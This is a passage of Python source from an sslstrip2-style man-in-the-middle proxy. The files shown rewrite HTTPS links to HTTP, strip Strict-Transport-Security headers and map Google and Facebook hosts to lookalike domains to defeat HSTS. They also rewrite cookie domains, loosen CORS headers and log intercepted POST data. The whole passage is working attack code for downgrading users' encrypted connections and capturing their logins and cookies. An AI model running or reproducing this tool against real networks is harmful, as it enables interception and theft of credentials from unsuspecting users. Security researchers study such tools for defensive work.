headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | newvalues =[] 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | values = value.split(';') 51 | for v in values: 52 | if v[:7].lower()==' domain': 53 | dominio=v.split("=")[1] 54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v) 55 | real = self.urlMonitor.sustitucion 56 | if dominio in real: 57 | v=" Domain=%s"%real[dominio] 58 | logging.debug("LEO New cookie domain parameter: %s"%v) 59 | newvalues.append(v) 60 | value = ';'.join(newvalues) 61 | 62 | if (key.lower() == 'access-control-allow-origin'): 63 | value='*' 64 | 65 | ServerConnection.handleHeader(self, key, value) 66 | 67 | def stripFileFromPath(self, path): 68 | (strippedPath, lastSlash, file) = path.rpartition('/') 69 | return strippedPath 70 | 71 | def buildAbsoluteLink(self, link): 72 | absoluteLink = "" 73 | 74 | if ((not link.startswith('http')) and (not link.startswith('/'))): 75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 76 | 77 | logging.debug("Found path-relative link in secure transmission: " + link) 78 | logging.debug("New Absolute path-relative link: " + absoluteLink) 79 | elif not link.startswith('http'): 80 | absoluteLink = "http://"+self.headers['host']+link 81 | 82 | logging.debug("Found relative link in secure transmission: " + link) 83 | logging.debug("New Absolute link: " + absoluteLink) 84 | 85 | if not absoluteLink == "": 86 | absoluteLink = absoluteLink.replace('&', '&') 87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 88 | 89 | def replaceCssLinks(self, data): 90 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 91 | 92 | for match in iterator: 93 | self.buildAbsoluteLink(match.group(1)) 94 | 95 | return data 96 | 97 | def replaceFavicon(self, data): 98 | match = re.search(SSLServerConnection.iconExpression, data) 99 | 100 | if (match != None): 101 | data = re.sub(SSLServerConnection.iconExpression, 102 | "", data) 103 | else: 104 | data = re.sub(SSLServerConnection.headExpression, 105 | "", data) 106 | 107 | return data 108 | 109 | def replaceSecureLinks(self, data): 110 | data = ServerConnection.replaceSecureLinks(self, data) 111 | data = self.replaceCssLinks(data) 112 | 113 | if (self.urlMonitor.isFaviconSpoofing()): 114 | data = self.replaceFavicon(data) 115 | 116 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 117 | 118 | for match in iterator: 119 | self.buildAbsoluteLink(match.group(10)) 120 | 121 | return data 122 | -------------------------------------------------------------------------------- /sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE) 34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 39 | 40 | def __init__(self, command, uri, postData, headers, client): 41 | self.command = command 42 | self.uri = uri 43 | self.postData = postData 44 | self.headers = headers 45 | self.client = client 46 | self.urlMonitor = URLMonitor.getInstance() 47 | self.isImageRequest = False 48 | self.isCompressed = False 49 | self.contentLength = None 50 | self.shutdownComplete = False 51 | 52 | def getLogLevel(self): 53 | return logging.DEBUG 54 | 55 | def getPostPrefix(self): 56 | return "POST" 57 | 58 | def sendRequest(self): 59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 60 | self.sendCommand(self.command, self.uri) 61 | 62 | def sendHeaders(self): 63 | for header, value in self.headers.items(): 64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 65 | self.sendHeader(header, value) 66 | 67 | self.endHeaders() 68 | 69 | def sendPostData(self): 70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 71 | self.transport.write(self.postData) 72 | 73 | def connectionMade(self): 74 | logging.log(self.getLogLevel(), "HTTP connection made.") 75 | self.sendRequest() 76 | self.sendHeaders() 77 | 78 | if (self.command == 'POST'): 79 | self.sendPostData() 80 | 81 | def handleStatus(self, version, code, message): 82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 83 | self.client.setResponseCode(int(code), message) 84 | 85 | def handleHeader(self, key, value): 86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 87 | 88 | if (key.lower() == 'location'): 89 | value = self.replaceSecureLinks(value) 90 | 91 | if (key.lower() == 'content-type'): 92 | if (value.find('image') != -1): 93 | self.isImageRequest = True 94 | logging.debug("Response is image content, not scanning...") 95 | 96 | if (key.lower() == 'content-encoding'): 97 | if (value.find('gzip') != -1): 98 | logging.debug("Response is compressed...") 99 | self.isCompressed = True 100 | elif (key.lower() == 'content-length'): 101 | self.contentLength = value 102 | elif (key.lower() == 'set-cookie'): 103 | self.client.responseHeaders.addRawHeader(key, value) 104 | elif (key.lower()== 'strict-transport-security'): 105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") 106 | else: 107 | self.client.setHeader(key, value) 108 | 109 | 110 | def handleEndHeaders(self): 111 | if (self.isImageRequest and self.contentLength != None): 112 | self.client.setHeader("Content-Length", self.contentLength) 113 | 114 | if self.length == 0: 115 | self.shutdown() 116 | 117 | def handleResponsePart(self, data): 118 | if (self.isImageRequest): 119 | self.client.write(data) 120 | else: 121 | HTTPClient.handleResponsePart(self, data) 122 | 123 | def handleResponseEnd(self): 124 | if (self.isImageRequest): 125 | self.shutdown() 126 | else: 127 | HTTPClient.handleResponseEnd(self) 128 | 129 | def handleResponse(self, data): 130 | if (self.isCompressed): 131 | logging.debug("Decompressing content...") 132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 133 | 134 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 135 | #logging.log(self.getLogLevel(), "Read from server:\n " ) 136 | 137 | 138 | data = self.replaceSecureLinks(data) 139 | 140 | if (self.contentLength != None): 141 | self.client.setHeader('Content-Length', len(data)) 142 | 143 | self.client.write(data) 144 | self.shutdown() 145 | 146 | def replaceSecureLinks(self, data): 147 | sustitucion = {} 148 | patchDict = self.urlMonitor.patchDict 149 | if len(patchDict)>0: 150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) 152 | 153 | iterator = re.finditer(ServerConnection.urlExpression, data) 154 | for match in iterator: 155 | url = match.group() 156 | 157 | logging.debug("Found secure reference: " + url) 158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) 160 | sustitucion[url] = nuevaurl 161 | #data.replace(url,nuevaurl) 162 | 163 | #data = self.urlMonitor.DataReemplazo(data) 164 | if len(sustitucion)>0: 165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) 166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) 167 | 168 | #logging.debug("LEO DEBUG received data:\n"+data) 169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) 171 | #if data.find("http://w.face")!=-1: 172 | # logging.debug("LEO DEBUG Found error in modifications") 173 | # raw_input("Press Enter to continue") 174 | #return re.sub(ServerConnection.urlType, 'http://web.', data) 175 | return data 176 | 177 | 178 | def shutdown(self): 179 | if not self.shutdownComplete: 180 | self.shutdownComplete = True 181 | self.client.finish() 182 | self.transport.loseConnection() 183 | 184 | 185 | -------------------------------------------------------------------------------- /sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # URLMonitor 2 | 3 | import re 4 | import logging 5 | 6 | class URLMonitor: 7 | 8 | ''' 9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 10 | server is expecting over SSL. It also keeps track of secure favicon urls. 11 | ''' 12 | 13 | # Start the arms race, and end up here... 14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 15 | _instance = None 16 | sustitucion = {} # LEO: diccionario host / sustitucion 17 | real = {} # LEO: diccionario host / real 18 | patchDict = { 19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 20 | 'https:\/\/www.facebook.com':'http:\/\/wwww.facebook.com', 21 | 'return"https:"':'return"http:"' 22 | } 23 | 24 | def __init__(self): 25 | self.strippedURLs = set() 26 | self.strippedURLPorts = {} 27 | self.faviconReplacement = False 28 | self.sustitucion["mail.google.com"] = "gmail.google.com" 29 | self.real["gmail.google.com"] = "mail.google.com" 30 | 31 | self.sustitucion["www.facebook.com"] = "social.facebook.com" 32 | self.real["social.facebook.com"] = "www.facebook.com" 33 | 34 | self.sustitucion["accounts.google.com"] = "cuentas.google.com" 35 | self.real["cuentas.google.com"] = "accounts.google.com" 36 | 37 | self.sustitucion["accounts.google.es"] = "cuentas.google.es" 38 | self.real["cuentas.google.es"] = "accounts.google.es" 39 | 40 | 41 | def isSecureLink(self, client, url): 42 | for expression in URLMonitor.javascriptTrickery: 43 | if (re.match(expression, url)): 44 | logging.debug("JavaScript trickery!") 45 | return True 46 | 47 | if (client, url) in self.strippedURLs: 48 | logging.debug("(%s, %s) in strippedURLs" % (client, url)) 49 | return (client,url) in self.strippedURLs 50 | 51 | def getSecurePort(self, client, url): 52 | if (client,url) in self.strippedURLs: 53 | return self.strippedURLPorts[(client,url)] 54 | else: 55 | return 443 56 | 57 | def addSecureLink(self, client, url): 58 | methodIndex = url.find("//") + 2 59 | method = url[0:methodIndex] 60 | pathIndex = url.find("/", methodIndex) 61 | 62 | if pathIndex is -1: 63 | pathIndex = len(url) 64 | url += "/" 65 | 66 | host = url[methodIndex:pathIndex].lower() 67 | path = url[pathIndex:] 68 | 69 | port = 443 70 | portIndex = host.find(":") 71 | 72 | if (portIndex != -1): 73 | host = host[0:portIndex] 74 | port = host[portIndex+1:] 75 | if len(port) == 0: 76 | port = 443 77 | 78 | #LEO: Sustituir HOST 79 | if not self.sustitucion.has_key(host): 80 | lhost = host[:4] 81 | if lhost=="www.": 82 | self.sustitucion[host] = "w"+host 83 | self.real["w"+host] = host 84 | else: 85 | self.sustitucion[host] = "web"+host 86 | self.real["web"+host] = host 87 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) 88 | 89 | url = 'http://' + host + path 90 | #logging.debug("LEO stripped URL: %s %s"%(client, url)) 91 | 92 | self.strippedURLs.add((client, url)) 93 | self.strippedURLPorts[(client, url)] = int(port) 94 | return 'http://'+self.sustitucion[host]+path 95 | 96 | def setFaviconSpoofing(self, faviconSpoofing): 97 | self.faviconSpoofing = faviconSpoofing 98 | 99 | def isFaviconSpoofing(self): 100 | return self.faviconSpoofing 101 | 102 | def isSecureFavicon(self, client, url): 103 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 104 | 105 | def URLgetRealHost(self,host): 106 | logging.debug("Parsing host: %s"%host) 107 | if self.real.has_key(host): 108 | logging.debug("New host: %s"%self.real[host]) 109 | return self.real[host] 110 | else: 111 | logging.debug("New host: %s"%host) 112 | return host 113 | 114 | def getInstance(): 115 | if URLMonitor._instance == None: 116 | URLMonitor._instance = URLMonitor() 117 | 118 | return URLMonitor._instance 119 | 120 | getInstance = staticmethod(getInstance) 121 | -------------------------------------------------------------------------------- /sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/singe/sslstrip2/892b014bd1b62e01f5ea0924839d08a931a6a2b1/sslstrip/__init__.py --------------------------------------------------------------------------------